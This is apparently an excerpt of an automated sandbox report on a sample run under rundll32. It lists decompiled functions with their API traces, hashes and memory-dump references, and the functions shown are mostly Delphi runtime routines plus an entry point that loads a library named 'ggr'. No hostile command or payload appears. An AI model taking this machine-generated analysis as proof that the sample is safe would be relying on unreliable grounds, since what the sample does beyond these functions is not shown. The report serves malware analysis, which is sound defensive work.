Instruction Fuzzy Hash: 36518972A8061C7EEB21DAB4DC46FEF77AD9B44744F4580A3B604E62C2D6749E44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 009D5D00 Relevance: 15.1, APIs: 10, Instructions: 98
stringlibrarythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E009D5D00() {
				void* _t28;
				void* _t30;
				struct HINSTANCE__* _t36;
				struct HINSTANCE__* _t42;
				char* _t51;
				void* _t52;
				struct HINSTANCE__* _t59;
				void* _t61;

				_push(0x105);
				_push( *((intOrPtr*)(_t61 - 4)));
				_push(_t61 - 0x11d);
				L009D14A4();
				GetLocaleInfoA(GetThreadLocale(), 3, _t61 - 0xd, 5); // executed
				_t59 = 0;
				if( *(_t61 - 0x11d) == 0 ||  *(_t61 - 0xd) == 0 &&  *((char*)(_t61 - 0x12)) == 0) {
					L14:
					return _t59;
				} else {
					_t28 = _t61 - 0x11d;
					_push(_t28);
					L009D14AC();
					_t51 = _t28 + _t61 - 0x11d;
					L5:
					if( *_t51 != 0x2e && _t51 != _t61 - 0x11d) {
						_t51 = _t51 - 1;
						goto L5;
					}
					_t30 = _t61 - 0x11d;
					if(_t51 != _t30) {
						_t52 = _t51 + 1;
						if( *((char*)(_t61 - 0x12)) != 0) {
							_push(0x105 - _t52 - _t30);
							_push(_t61 - 0x12);
							_push(_t52);
							L009D14A4();
							_t59 = LoadLibraryExA(_t61 - 0x11d, 0, 2);
						}
						if(_t59 == 0 &&  *(_t61 - 0xd) != 0) {
							_push(0x105 - _t52 - _t61 - 0x11d);
							_push(_t61 - 0xd);
							_push(_t52);
							L009D14A4();
							_t36 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
							_t59 = _t36;
							if(_t59 == 0) {
								 *((char*)(_t61 - 0xb)) = 0;
								_push(0x105 - _t52 - _t61 - 0x11d);
								_push(_t61 - 0xd);
								_push(_t52);
								L009D14A4();
								_t42 = LoadLibraryExA(_t61 - 0x11d, 0, 2); // executed
								_t59 = _t42;
							}
						}
					}
					goto L14;
				}
			}

0x009d5d00
0x009d5d08
0x009d5d0f
0x009d5d10
0x009d5d23
0x009d5d28
0x009d5d31
0x009d5e1a
0x009d5e21
0x009d5d47
0x009d5d47
0x009d5d4d
0x009d5d4e
0x009d5d5b
0x009d5d60
0x009d5d63
0x009d5d5f
0x00000000
0x009d5d5f
0x009d5d6f
0x009d5d77
0x009d5d7d
0x009d5d82
0x009d5d8f
0x009d5d93
0x009d5d94
0x009d5d95
0x009d5daa
0x009d5daa
0x009d5dae
0x009d5dc7
0x009d5dcb
0x009d5dcc
0x009d5dcd
0x009d5ddd
0x009d5de2
0x009d5de6
0x009d5de8
0x009d5dfd
0x009d5e01
0x009d5e02
0x009d5e03
0x009d5e13
0x009d5e18
0x009d5e18
0x009d5de6
0x009d5dae
0x00000000
0x009d5d77

APIs

lstrcpyn.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 009D5D10
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 009D5D1D
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 009D5D23
lstrlen.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 009D5D4E
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 009D5D95
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 009D5DA5
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 009D5DCD
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 009D5DDD
lstrcpyn.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 009D5E03
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 009D5E13

Strings

Software\Borland\Locales, xrefs: 009D5C24, 009D5C42
Software\Borland\Delphi\Locales, xrefs: 009D5C60

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: f3baee5bd0de15422c30ddad9afe84534a1bcc0a91144b9d07d6272a5e3d68ec
Instruction ID: 5fe26c2af37fbee4dfc609383c6021ffeaa3c98bba3a05b2ba59137f0f2789dd
Opcode Fuzzy Hash: f3baee5bd0de15422c30ddad9afe84534a1bcc0a91144b9d07d6272a5e3d68ec
Instruction Fuzzy Hash: D7317772E8065C7AEB25D9B4DC86FEE77AD4B44344F0981A3A604E6282E6748F448B60

Uniqueness

Uniqueness Score: -1.00%

Function 009EDDA4 Relevance: 6.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E009EDDA4(void* __eax, struct HINSTANCE__* __edx, CHAR* _a4) {
				CHAR* _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t12;
				void* _t18;
				void* _t23;
				CHAR* _t24;
				void* _t25;
				struct HRSRC__* _t29;
				void* _t30;
				struct HINSTANCE__* _t31;
				void* _t32;

				_v8 = _t24;
				_t31 = __edx;
				_t23 = __eax;
				_t12 = FindResourceA(__edx, _v8, _a4); // executed
				_t29 = _t12;
				 *(_t23 + 0x10) = _t29;
				_t33 = _t29;
				if(_t29 == 0) {
					E009EDD34(_t23, _t24, _t29, _t31, _t33, _t32);
					_pop(_t24);
				}
				_t5 = _t23 + 0x10; // 0x9ede48
				_t30 = LoadResource(_t31,  *_t5);
				 *(_t23 + 0x14) = _t30;
				_t34 = _t30;
				if(_t30 == 0) {
					E009EDD34(_t23, _t24, _t30, _t31, _t34, _t32);
				}
				_t7 = _t23 + 0x10; // 0x9ede48
				_push(SizeofResource(_t31,  *_t7));
				_t8 = _t23 + 0x14; // 0x9ed988
				_t18 = LockResource( *_t8);
				_pop(_t25);
				return E009ED948(_t23, _t25, _t18);
			}

0x009eddab
0x009eddae
0x009eddb0
0x009eddbb
0x009eddc0
0x009eddc2
0x009eddc5
0x009eddc7
0x009eddca
0x009eddcf
0x009eddcf
0x009eddd0
0x009eddda
0x009edddc
0x009edddf
0x009edde1
0x009edde4
0x009edde9
0x009eddea
0x009eddf4
0x009eddf5
0x009eddf9
0x009ede02
0x009ede0d

APIs

FindResourceA.KERNEL32(00000000,?,?), ref: 009EDDBB
LoadResource.KERNEL32(00000000,009EDE48,00000000,?,?,009E9AC8,00000000,00000001,00000000,?,009EDD14,?,?,009EB4C6,00000000), ref: 009EDDD5
SizeofResource.KERNEL32(00000000,009EDE48,00000000,009EDE48,00000000,?,?,009E9AC8,00000000,00000001,00000000,?,009EDD14,?,?,009EB4C6), ref: 009EDDEF
LockResource.KERNEL32(009ED988,00000000,00000000,009EDE48,00000000,009EDE48,00000000,?,?,009E9AC8,00000000,00000001,00000000,?,009EDD14,?), ref: 009EDDF9

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: e0f9c00353409598e5e2768b8fa927d36c29e3d16e926a6810523d72146c99a3
Instruction ID: 7acffd7c1d02419b4e7a1fee3bc62ec6f1c8a8eaf1aa8a18268482890e5bf7aa
Opcode Fuzzy Hash: e0f9c00353409598e5e2768b8fa927d36c29e3d16e926a6810523d72146c99a3
Instruction Fuzzy Hash: B9F069B26062086F4B06EF6DEC81E6B77ECEEC8260310452AF908CB346DA35ED018774

Uniqueness

Uniqueness Score: -1.00%

Function 00A9B88C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 55%

			_entry_(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t19;
				intOrPtr _t21;
				void* _t26;

				E009D67F0(0xa9b444);
				_push(_t26);
				_push(0xa9b8f4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t26 + 0xffffffc4;
				E009D427C(0xa9ff60, 0xa9b908);
				_t19 =  *0xa9ff60; // 0xf72014
				E009D4534(0xa9ff64, 0xa9b914, _t19);
				LoadLibraryA("ggr"); // executed
				E00A04F74(__ebx, 0, 1, __edi, __esi); // executed
				_pop(_t21);
				 *[fs:eax] = _t21;
				_push(0xa9b8fb);
				return 0;
			}

0x00a9b897
0x00a9b89e
0x00a9b89f
0x00a9b8a4
0x00a9b8a7
0x00a9b8b4
0x00a9b8c3
0x00a9b8c9
0x00a9b8d3
0x00a9b8e1
0x00a9b8e8
0x00a9b8eb
0x00a9b8ee
0x00a9b8f3

APIs

LoadLibraryA.KERNEL32(ggr,00000000,00A9B8F4), ref: 00A9B8D3

Strings

ggr, xrefs: 00A9B8CE

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID: ggr
API String ID: 1029625771-644803015
Opcode ID: 0d34d1db3aeb33766a337f2a00c8ff09ae182a56e21b51b2ae7e6aeb2d9b3648
Instruction ID: 8cf08c878ecc2454340d81be8fd5a622021b4b586da3222f7ea0b8e05a1b5370
Opcode Fuzzy Hash: 0d34d1db3aeb33766a337f2a00c8ff09ae182a56e21b51b2ae7e6aeb2d9b3648
Instruction Fuzzy Hash: AAF0A0303642085F8F04A7ADBE9351532C9E7CAB04751883AF500C67A1DF215810D5B1

Uniqueness

Uniqueness Score: -1.00%

Function 009D4970 Relevance: 3.0, APIs: 2, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E009D4970(signed int __eax, void* __edx) {
				signed int _t4;
				void* _t5;
				signed char _t16;
				void* _t18;
				void* _t19;
				void* _t23;

				_t18 = __edx;
				_t4 = __eax;
				if(__edx == 0) {
					L10:
					_t19 =  *_t4;
					if(_t19 != 0) {
						 *_t4 = 0;
						_push(_t4);
						L009D14F4();
						_t5 = _t19;
						return _t5;
					}
					return _t4;
				} else {
					__ecx =  *(__edx - 4);
					__ecx =  *(__edx - 4) >> 1;
					if(__ecx == 0) {
						goto L10;
					} else {
						_push(__ecx);
						_push(__edx);
						_push(__eax); // executed
						L009D14EC(); // executed
						if(__eax == 0) {
							__eax = __eax & 0x0000007f;
							__edx =  *__esp;
							_t23 = _t18;
							_t16 = _t4 & 0x0000007f;
							if( *0xa9f008 != 0) {
								 *0xa9f008();
							}
							if(_t16 != 0) {
								if(_t16 <= 0x18) {
									_t2 = _t16 + 0xa9c048; // 0xd7c9c8cc
									_t16 =  *_t2;
								}
							} else {
								_t16 =  *(E009D67A4() + 4);
							}
							return E009D29D0(_t23);
						} else {
							return __eax;
						}
					}
				}
			}

0x009d4970
0x009d4970
0x009d4972
0x009d4934
0x009d4934
0x009d4938
0x009d493a
0x009d4940
0x009d4942
0x009d4947
0x00000000
0x009d4947
0x009d4948
0x009d4978
0x009d4978
0x009d497b
0x009d497d
0x00000000
0x009d4983
0x009d4983
0x009d4984
0x009d4985
0x009d4986
0x009d498d
0x009d2a28
0x009d2a2b
0x009d29de
0x009d29e2
0x009d29ec
0x009d29f2
0x009d29f2
0x009d29fa
0x009d2a0c
0x009d2a12
0x009d2a12
0x009d2a12
0x009d29fc
0x009d2a01
0x009d2a01
0x009d2a25
0x009d4993
0x009d4993
0x009d4993
0x009d498d
0x009d497d

APIs

SysFreeString.OLEAUT32 ref: 009D4942
SysReAllocStringLen.OLEAUT32(?,?,?), ref: 009D4986

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 30af372732d717d2b7e7ea3a8fde1a8ae9bbb0e328117705c45d18cc1208a5f5
Instruction ID: ac1d5818044f703ce36b331b4dea11e66c9a62951750f70ee6b96f041cbe22af
Opcode Fuzzy Hash: 30af372732d717d2b7e7ea3a8fde1a8ae9bbb0e328117705c45d18cc1208a5f5
Instruction Fuzzy Hash: DED05BB85811016FEA249A56C925B3B322D9FD2F00BADC54FB4416F355DE34DC00DB30

Uniqueness

Uniqueness Score: -1.00%

Function 009D1724 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009D1724(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E009D15D8(0xa9f5ec, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x009d1727
0x009d1731
0x009d1740
0x009d1733
0x009d1733
0x009d1733
0x009d1746
0x009d1753
0x009d1758
0x009d175a
0x009d175e
0x009d1767
0x009d176e
0x009d177a
0x009d1781
0x00000000
0x009d1781
0x009d176e
0x009d1786

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,009D1A2D), ref: 009D1753
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,009D1A2D), ref: 009D177A

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b32dd53dca2e3c0f4a17b5076684fb53ee79c76208513e5d44bda396108f66ed
Instruction ID: 068007331e83e9ab2b732d56018f3705251af0f8a6b04d45fca68f136d6e15f6
Opcode Fuzzy Hash: b32dd53dca2e3c0f4a17b5076684fb53ee79c76208513e5d44bda396108f66ed
Instruction Fuzzy Hash: A3F0A773F806203BEB20596D5C85B5266D99FD57A0F158173F90CEF3D9D6A18C0182A1

Uniqueness

Uniqueness Score: -1.00%

Function 009EB20C Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 65%

			E009EB20C(void* __eax, struct HINSTANCE__* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t10;
				intOrPtr _t15;
				struct HINSTANCE__* _t20;
				intOrPtr* _t22;
				intOrPtr _t30;
				void* _t32;
				intOrPtr* _t35;
				intOrPtr _t38;
				intOrPtr _t40;

				_t38 = _t40;
				_push(_t22);
				_t35 = _t22;
				_t20 = __edx;
				_t32 = __eax;
				if(__edx == 0) {
					_t20 =  *0xa9f668; // 0x9d0000
				}
				_t10 = FindResourceA(_t20, E009D46E8(_t32), 0xa) & 0xffffff00 | _t9 != 0x00000000;
				_t43 = _t10;
				if(_t10 == 0) {
					return _t10;
				} else {
					_v8 = E009EDCDC(_t20, 1, 0xa, _t32);
					_push(_t38);
					_push(0x9eb280);
					_push( *[fs:eax]);
					 *[fs:eax] = _t40;
					_t15 = E009ED658(_v8, _t20,  *_t35, _t32, _t35, _t43); // executed
					 *_t35 = _t15;
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(E009EB287);
					return E009D3380(_v8);
				}
			}

0x009eb20d
0x009eb20f
0x009eb213
0x009eb215
0x009eb217
0x009eb21b
0x009eb21d
0x009eb21d
0x009eb235
0x009eb238
0x009eb23a
0x009eb28e
0x009eb23c
0x009eb24d
0x009eb252
0x009eb253
0x009eb258
0x009eb25b
0x009eb263
0x009eb268
0x009eb26c
0x009eb26f
0x009eb272
0x009eb27f
0x009eb27f

APIs

FindResourceA.KERNEL32(00000000,00000000,0000000A), ref: 009EB22E

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: c2c09955bb92014d0060ed20d2a4459090cd0f3b6a2f724898427e724057b52a
Instruction ID: e58357fcaa26dabb5706898d0dae69cfbd89a12d3296e95f345b55270156c47f
Opcode Fuzzy Hash: c2c09955bb92014d0060ed20d2a4459090cd0f3b6a2f724898427e724057b52a
Instruction Fuzzy Hash: DB01DF323043446FD712DB6AAC82A2AB3ADDFD9714751843AF644C7751DA729C019250

Uniqueness

Uniqueness Score: -1.00%

Function 009D75D8 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009D75D8(long __eax, CHAR* __edx, void* _a4, struct HINSTANCE__* _a8, struct HMENU__* _a12, struct HWND__* _a16, int _a20, int _a24, int _a28, int _a32, long _a36) {
				CHAR* _v8;
				void* _t13;
				struct HWND__* _t24;
				CHAR* _t29;
				long _t32;

				_v8 = _t29;
				_t32 = __eax;
				_t13 = E009D2B24();
				_t24 = CreateWindowExA(_t32, __edx, _v8, _a36, _a32, _a28, _a24, _a20, _a16, _a12, _a8, _a4); // executed
				E009D2B14(_t13);
				return _t24;
			}

0x009d75df
0x009d75e4
0x009d75e6
0x009d7617
0x009d7620
0x009d762c

APIs

CreateWindowExA.USER32 ref: 009D7617

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a672b2eb1d9e3a805781367aad54b4842a78cc4b7917898f4b96461fb7ca0a24
Instruction ID: 1324ce74e09652c9038fff3c84b73829b5107ebcd172a6ff93ee4f17f7e25098
Opcode Fuzzy Hash: a672b2eb1d9e3a805781367aad54b4842a78cc4b7917898f4b96461fb7ca0a24
Instruction Fuzzy Hash: 13F07FB2604118AF8B84DE9DEC81E9B77ECEB9D2A0B054126BA0CD3301D674ED108BA0

Uniqueness

Uniqueness Score: -1.00%

Function 009D59B8 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009D59B8(void* __eax) {
				char _v272;
				intOrPtr _t14;
				void* _t16;
				intOrPtr _t18;
				intOrPtr _t19;

				_t16 = __eax;
				if( *((intOrPtr*)(__eax + 0x10)) == 0) {
					_t3 = _t16 + 4; // 0x9d0000
					GetModuleFileNameA( *_t3,  &_v272, 0x105);
					_t14 = E009D5BF4(_t19); // executed
					_t18 = _t14;
					 *((intOrPtr*)(_t16 + 0x10)) = _t18;
					if(_t18 == 0) {
						_t5 = _t16 + 4; // 0x9d0000
						 *((intOrPtr*)(_t16 + 0x10)) =  *_t5;
					}
				}
				_t7 = _t16 + 0x10; // 0x9d0000
				return  *_t7;
			}

0x009d59c0
0x009d59c6
0x009d59d2
0x009d59d6
0x009d59df
0x009d59e4
0x009d59e6
0x009d59eb
0x009d59ed
0x009d59f0
0x009d59f0
0x009d59eb
0x009d59f3
0x009d59fe

APIs

GetModuleFileNameA.KERNEL32(009D0000,?,00000105,108B00A9,00000000,009D5A20,009EB3E4,?,00000000,009EB40A,?,?,00000000,?,009EB483), ref: 009D59D6

Part of subcall function 009D5BF4: GetModuleFileNameA.KERNEL32(00000000,?,00000105,108B00A9,00A9C0A4), ref: 009D5C10
Part of subcall function 009D5BF4: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00A9,00A9C0A4), ref: 009D5C2E
Part of subcall function 009D5BF4: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,108B00A9,00A9C0A4), ref: 009D5C4C
Part of subcall function 009D5BF4: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 009D5C6A
Part of subcall function 009D5BF4: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 009D5CB3
Part of subcall function 009D5BF4: RegQueryValueExA.ADVAPI32(?,009D5E60,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,009D5CF9,?,80000001), ref: 009D5CD1
Part of subcall function 009D5BF4: RegCloseKey.ADVAPI32(?,009D5D00,00000000,?,?,00000000,009D5CF9,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 009D5CF3

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: c92e517641b2b4fd91be27f2a27198873e27df336b57998948ba745165383069
Instruction ID: 068b0794e3259d1c376d2982a372173626ba2677a6a3e92bb739537c287b564f
Opcode Fuzzy Hash: c92e517641b2b4fd91be27f2a27198873e27df336b57998948ba745165383069
Instruction Fuzzy Hash: 4EE06D72A40610DBCB10DE5CC8C1B8633D8AB087A4F018692EC54CF346D3B5DD5087D0

Uniqueness

Uniqueness Score: -1.00%

Function 009D8930 Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009D8930(void* __eax, void* __edx) {
				int _t3;
				char* _t5;
				int _t7;
				int _t10;
				void* _t12;

				_t12 = __eax;
				_t3 = E009D44E8(__edx);
				_t5 = E009D46E8(__edx);
				_t7 = E009D44E8(_t12);
				_t10 = CompareStringA(0x400, 1, E009D46E8(_t12), _t7, _t5, _t3); // executed
				return _t10 - 2;
			}

0x009d8934
0x009d8938
0x009d8940
0x009d8948
0x009d895d
0x009d8967

APIs

CompareStringA.KERNEL32(00000400,00000001,00000000,00000000,00000000,00000000,?,?,009D8977,?,?,009D8D71), ref: 009D895D

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323247473.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9d0000_rundll32.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: 7a97947de377c4f51268352574cf2924ac5472c08644cf5ede9ec7408a82dda4
Instruction ID: db3ecf294df48edc4b52584429208e68c3ed63438581314c1a5d49c5b3570359
Opcode Fuzzy Hash: 7a97947de377c4f51268352574cf2924ac5472c08644cf5ede9ec7408a82dda4
Instruction Fuzzy Hash: 81D0C9D53D16202BD6A0B67C0C83F5A00CC8B9D712F02C433B6A9E7353C9A5CD4102B9

Uniqueness

Uniqueness Score: -1.00%

Function 009D18B8 Relevance: 1.3, APIs: 1, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E009D18B8(signed int __eax, void** __ecx, intOrPtr __edx) {
				signed int _v20;
				void** _v24;
				void* _t15;
				void** _t16;
				void* _t17;
				signed int _t27;
				intOrPtr* _t29;
				void* _t31;
				intOrPtr* _t32;

				_v24 = __ecx;
				 *_t32 = __edx;
				_t31 = __eax & 0xfffff000;
				_v20 = __eax +  *_t32 + 0x00000fff & 0xfffff000;
				 *_v24 = _t31;
				_t15 = _v20 - _t31;
				_v24[1] = _t15;
				_t29 =  *0xa9f5ec; // 0x8f2554
				while(_t29 != 0xa9f5ec) {
					_t17 =  *(_t29 + 8);
					_t27 =  *((intOrPtr*)(_t29 + 0xc)) + _t17;
					if(_t31 > _t17) {
						_t17 = _t31;
					}
					if(_t27 > _v20) {
						_t27 = _v20;
					}
					if(_t27 > _t17) {
						_t15 = VirtualAlloc(_t17, _t27 - _t17, 0x1000, 4); // executed
						if(_t15 == 0) {
							_t16 = _v24;
							 *_t16 = 0;
							return _t16;
						}
					}
					_t29 =  *_t29;
				}
				return _t15;
			}

0x009d18bf
0x009d18c3
0x009d18ca
0x009d18df
0x009d18e7
0x009d18ed
0x009d18f3
0x009d18f6
0x009d193a
0x009d18fe
0x009d1904
0x009d1908
0x009d190a
0x009d190a
0x009d1910
0x009d1912
0x009d1912
0x009d1918
0x009d1925
0x009d192c
0x009d192e
0x009d1934
0x00000000
0x009d1934
0x009d192c
0x009d1938
0x009d1938
0x009d1949

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 009D1925

Memory Dump Source

Source File: 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009D0000, based on PE: true

Associated: 00000002.00000002.323135167.00000000009D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.323238271.0000000000A9C000.00000004.00000001.01000000.00000003.sdmpDownload File
